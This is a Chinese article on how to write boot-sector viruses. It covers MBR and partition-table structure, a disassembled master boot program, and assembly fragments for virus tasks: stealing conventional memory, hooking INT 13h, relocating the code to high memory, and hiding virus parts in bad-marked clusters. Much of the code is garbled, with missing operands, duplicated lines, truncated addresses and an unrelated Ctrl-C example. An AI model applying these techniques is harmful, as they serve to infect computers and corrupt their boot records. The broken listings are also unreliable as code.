引导型病毒编制的关键技术
发表于:2015-08-17 15:58 阅读:
要掌握引导型病毒的编制技术,我们先了解引导区的结构。软盘只有一个引导区,只要做了格式化,就会存在。其作用为查找盘上有无IO.SYS 和DOS.SYS,若有则引导系统,否则显示“NO SYSTEM DISK...”等信息。硬盘有两个引导区,在0面0道1扇区的称为主引导区,内有主引导程序和分区表,主引导程序查找激活分区,该分区的第一个扇区即为DOS引导扇区。绝大多数病毒感染硬盘主引导扇区和软盘DOS引导扇区。
硬盘主引导区结构
硬盘的主引导区在0柱面0磁道1扇区,包括硬盘主引导记录MBR(Main Boot Record)、四个分区表DPT(Disk Partition Table)信息和主引导记录有效标志字三部分,如表4-1所示。
表4-1 主引导扇区结构
区域 |
信息 |
0000H-008AH |
主引导记录启动程序 |
008BH-00D9H |
主引导记录启动字符串 |
00DAH-01BDH |
空闲区 |
01BEH-01CDH |
分区1结构信息 |
01CEH-01DDH |
分区2结构信息 |
01DEH-01EDH |
分区3结构信息 |
01EEH-01FDH |
分区4结构信息 |
01FEH-01FFH |
55AAH主引导记录有效标志 |
主引导记录MBR从0000H开始到00D9H结束,共218个字节。MBR的作用就是检查分区表是否正确以及确定哪个分区为引导分区,并在程序结束时把该分区的启动程序(也就是操作系统引导扇区)调入内存加以执行。MBR是由分区程序(例如DOS 的Fdisk.exe)产生的,在不同的操作系统平台下,这个扇区的内容可能不完全相同。主引导记录比较容易编写,例如,我们自己也可以编写一个这样的程序,只要能完成前述的任务就可以了。正是因为主引导记录容易编写,所以才出现了很多的引导区病毒。
我们都知道,任何硬盘最多只能有四个分区。分区表自偏移01BEH处开始,共64个字节,表中可填入四个分区信息,每16个字节为一个分区说明项,这16个字节含义如表4-2所示。
表4-2 分区表结构信息(偏移量)
偏移 |
长度 |
含义 |
00H |
1 |
活动分区指示符,可能取值为80H或00H。其中80H表示为可自举分区(仅有一个),00H表示其他分区 |
01H |
1 |
分区起始磁头号 |
02H |
1 |
低6位是分区开始的扇区,高2位是分区开始的柱面的头两位 |
03H |
1 |
分区开始的起始柱面号的低8位 |
04H |
1 |
系统标志,可能取值有01H、04H、05H、06H。其中01H表示采用12位FAT格式的DOS分区;04H表示采用16位FAT格式的DOS分区;05H表示为扩展DOS分区;06H表示为DOS系统 |
05H |
1 |
分区终止头号 |
06H |
1 |
低6位为分区结束的扇区号,头2位为结束柱面号的前2位 |
07H |
1 |
分区结束柱面号的低8位。 |
08H |
4 |
本分区前的扇区数,低位字节在前 |
0CH |
4 |
本分区总的扇区数,低位字节在前 |
说明:扇区号的高2位占用柱面号所在字节的最高2位,即柱面号为10位,扇区号6位。
下面是某硬盘分区表的例子。
80 01 01 00 06
00 00 01 99 05
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
在上述例子中,每行十六个字节,为一个分区说明,数据为十六进制。
第一个分区(第一行):活动分区指示符为80H,表示该分区为可自举分区(启动分区)。系统标志为06H表示是DOS系统,即为C盘。
第二个分区(第二行):系统标志为05H,说明该分区是扩展DOS分区。
第三、四个分区数据均为00H,没有定义,这说明该硬盘只有两个分区。
从扩展DOS分区说明项(即第二个分区)中,我们可以得知下一个分区表位于起始磁头为0头,起始柱面为99H,起始扇区为1扇区。
引导型病毒编制的关键技术[2]
进入社区
硬盘主引导程序剖析
如果是从硬盘启动,则系统启动时,ROM BIOS程序把硬盘上0柱面0磁道1扇区的主引导程序加载到内存0000:
偏移 机器码 符号指令 说明
0000 FA cli ;屏蔽中断
0001
0003 8ED0 mov ss, ax ;(ss) = 0000H
0005 BC
0008 8BF4 mov si,sp ;(si) =
000B 07 pop es ;(es) = 0000H
000D
000E FB sti
0010 BF0006 mov di, 0600
0013 B90001 mov cx, 0100 ;共512字节
;为DOS分区的引导程序腾出空间
0018 EA1D060000 jmp 0000:061d ;跳到0000:061D处继续执行,实际上就是
;执行下面的MOV指令
001D BEBE07 mov si, 07be ;07BE-0600=01BE,01BE是分区表的首地址
0020 B304 mov bl, 04 ;分区表最多4项,即最多4个分区
0022
0025 740E jz 0035 ;找到活动分区则跳走
0027
0031 75EF jnz 0022 ;检查下一个分区表项
0033 CD18 int 18 ;4个都不能引导则进入ROM BIOS
0035 8B14 mov dx, [si]
0037 8B
0041
0043
0046
0048 BE8B06 mov si, 068B ;068B-0600=018B,取“无效分区”字符串
004B AC lodsb ;从字符串中取一字符
004E 740B jz 005b ;串显示完了则进入死循环,系统无法启动
0050 56 push si
0051 BB0700 mov bx, 0007
0054 B40E mov ah, 0e
0056 CD10 int 10 ;显示一个字符
0058 5E pop si
0059 EBF0 jmp 004b ;循环显示下一个字符
005B EBFE jmp 005b ;此处为死循环
005D BF0500 mov di, 0005 ;读入活动分区,最多试读5次
0060 BB
0063 B80102 mov ax, 0201
0066 57 push di
0067 CD13 int 13 ;读
0069
006E CD13 int 13 ;读失败则复位磁盘
0070
0071 75ED jnz 0060 ;不到5次则再试读
0073 BEA306 mov si,
0076 EBD3 jmp 004b ;去显示字符串,然后进入死循环
0078 BEC206 mov si,
0076 EBD3 jmp 004b ;去显示字符串,然后进入死循环
0078 BEC206 mov si,
007B BFFE7D mov di, 7dfe ;7DFE
;最后两字节的首址
007E 813D55AA cmp word ptr [di], aa55 ;最后两字节为AA55H则有效
0082
0084 8BF5 mov si, bp
0086 EA
0080 49 6E 76 61
0090 69 64 20 70 61 72 74 69-74 69
00B0 20
00D0 69 6E 67 20 73 79 73 74-65 6D 00 00 FB
00E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0100 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0110 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0180 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0190 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
01B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 80 01 ................
01D0 41 9D 05
01E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
从上面的汇编指令中我们可以看出,硬盘主引导记录程序的功能是读出自举分区的BOOT程序,并把控制转移到分区BOOT程序。整个程序流程如下:
(1)将本来读入到0000:
(2)顺序读入四个分区表的自举标志,以找出自举分区,若找不到,转而执行INT 18H的BOOT异常执行中断程序;
(3)找到自举分区后,检测该分区的系统标志,若为32位FAT表或16位FAT表但支持13号中断的扩展功能,就转到执行13号中断的41号功能调用进行安装检验,检验成功,就执行42号扩展读功能调用把BOOT区程序读入到内存0000:
(4)使用13号中断的读扇区功能时,用两种方式分别进行5次试读。第一种方式是直接从自举分区的头扇区读入BOOT程序,若读成功,但结束标志不是55AA,则改用第二种方式,又如果用第一种方式试读五次均不成功,就改用第二种方式。若两种方式试读均失败,就转到出错处理程序;
(5)读入BOOT区程序成功,转至0000:
引导型病毒编制的关键技术[3]
进入社区
引导型病毒编制技术
引导型病毒指驻留在硬盘的主引导分区或硬软盘的 DOS 引导分区的病毒。由于PC开机后,会先执行主引导分区的代码,这时,病毒可以获得第一控制权,在引导 DOS 操作系统之前,做完以下事情。
(1)减少DOS可用最大内存量,以供病毒代码使用。修改内存的程序代码如下:
xor ax,ax
mov ss,ax
mov sp,
mov ds,ax
mov ax,word ptr ds:[413h] ; 此处存放最大的内存0000:0413
sub ax,4 ; 为病毒申请4kB的内存空间
mov ds:[413h],ax |
(2)修改必要的中断向量,以便传播,例如可利用25H号调用修改23H中断向量,该程序代码如下:
Code segment ;代码段开始
Assume cs:code,ds:code ;段寄存器间关系
;主过程开始
begin proc far
push ds ;ax置0后,ds:ax进栈
sub ax, ax ;确保返回DOS时恢复中断向量
push ax
mov ax, code ;代码段地址装入ds,es
mov ds, ax
mov es, ax
mov ax, seg crtl_c ;修改向量,ds:dx指向ctrl_c子程序
mov ds, ax
mov dx, offset ctrl_c
mov ah, 25h ;调用号ah=25H
mov al, 23h ;被修改中断向量号al=23H
int 21H ;系统调用指令
fj1: lea dx, tis ;dx指向提示字符区tis
call prom ;调用显示子程序,显示“请输入字符”提示
lea dx, src0 ;dx指向键入字符区src0
call acce ;调用键入子程序,输入字串
mov cl, src1 ;在输入字符串尾部加“$”,以供显示
xor ch, ch
mov si, cx ;用si存已键入字符数
mov src2[si], “$”
lea si, ctny2 ;下面检查ctrl_c程序键入字符是否为“Y”;si指向ctny区
mov al, [si] ;检查字符是“Y”还是“y”
cmp al, “Y”
jz fj2 ;若是“Y”转结束fj2
cmp al, “y”
jz fj2
jmp fj1 ;否则返回fj1,继续显示、键盘输入的循环过程
fz2: ret ;返回DOS
begin endp ;主过程begin结束
;ctrl_c中断子程序,当操作ctrl_c键时转入本程序
ctrl_c proc near ;ctrl_c中断过程开始
push ax ;ax,dx进栈
push dx
lea dx, ynx ;显示“退出吗?(Y/N):”提示信息
call prom
lea dx, ctyn0 ;dx指向ctrl_c键入缓存区ctyn
call acce ;调用键入子程序,键入字符
mov cl, ctyn1 ;以下4条,在键入字串尾加“$”,以供显示
xor ch, ch
mov si, cx ;用si存已键入字符数
mov ctyn2[si], “$” ;现有字串加“$”字符
pop dx ;dx,ax出栈
pop ax
iret ;中断返回
ctrl_c endp ;ctrl_c过程结束
;显示,键入子程序
acce proc near ;键入子程序
mov ah, 0ah ;aH子功能
int 21h
ret ;键入子程序返回
acce endp
prom proc near ;显示子程序
mov ah, 9 ;9H子功能
int 21h
ret ;子程序返回
prom endp
;数据区
tis db “请输入字符:”,”$” ;主程序用显示提示字串
src0 db 64 ;主程序用键入缓存区,长度为64
src1 db ? ;实际键入字符数,系统自动置入
src2 db 64 dup(“”),”$” ;键入字串内容
ynx db 10,13,”退出吗?(Y/N):”,”$”
;以下是ctrl_c程序用数据
ctyn0 db 12 ;ctrl_c键入缓存区,长度12
ctyn1 db ? ;实际键入字符数,系统自动置入
styn2 db 12 dup(“”),”$” ;键入字串内容
code ends ;代码段结束
end begin ;程序汇编结束
(3)读入病毒的其他部分,进行病毒的拼装(在内存高端)。先从已标记的簇中某扇区读入病毒的其他部分,这些簇往往被标记为坏簇,然后再读入原引导记录到0000:
mov cl,06h
shl ax,cl ; (ax) =
add ax,0840h ; (ax) =
mov es,ax
mov si,
mov di,si
mov cx,0100h
repz movsw ; 将病毒移到高端
v2: push ax
pop ds
push ax
mov bx,
push bx
ret ; 指令执行转入高端内存
call v3
v3: xor ah,ah ;(ah) = 0
int 13h ;13H号中断调用
mov ah,80h
and byte ptr ds:[7df8h],al
v4: mov bx,word ptr ds:[7df9h] ; 读入病毒的其他部分
push cs
pop ax ; (ax) =
sub ax,20h ; (ax) =
mov es,ax ; (es) =
call v9
mov bx,word ptr ds:[7df9h] ; 加载逻辑扇区号
inc bx ; bx++是引导扇区
mov ax,0ffc0h ; ffc0:8000 = 0000:
mov es,ax
call v9
xor ax,ax ; (ax) = 0
mov byte ptr ds:[7df7h],al ; 标志清0
v5: mov ds,ax ; (ds) = 0
mov ax,word ptr ds:[4ch] ;
mov bx,word ptr ds:[4eh] ; 修改中断向量
mov word ptr ds:[4ch],7cd6h
mov word ptr ds:[4eh],cs ;新int 13H中断已经修改
push cs
pop ds ; (ds) = (cs)
mov word ptr ds:[7d30h],ax ; 保存原来的int 13H中断向量
mov word ptr ds:[7d32h],bx ;
v6: mov dl,byte ptr ds:[7df8h] ; 加载驱动器盘符
v7: jmp 0000:
db 0eah,00h,7ch,00h,00h ;这里是个跳转指令的二进制代码
4、读入原主引导分区,转去执行DOS的引导工作。这段程序代码和
(非特殊说明,本文版权归原作者所有,转载请注明出处 )
鸣人致力于为企业提供数据恢复、机房建设、数据库运行、运营及安全等全方位服务。
想在手机上、随时获取互联网前沿、设计资讯以及各种意想不到的"福利"吗?通过微信扫描二维码快速添加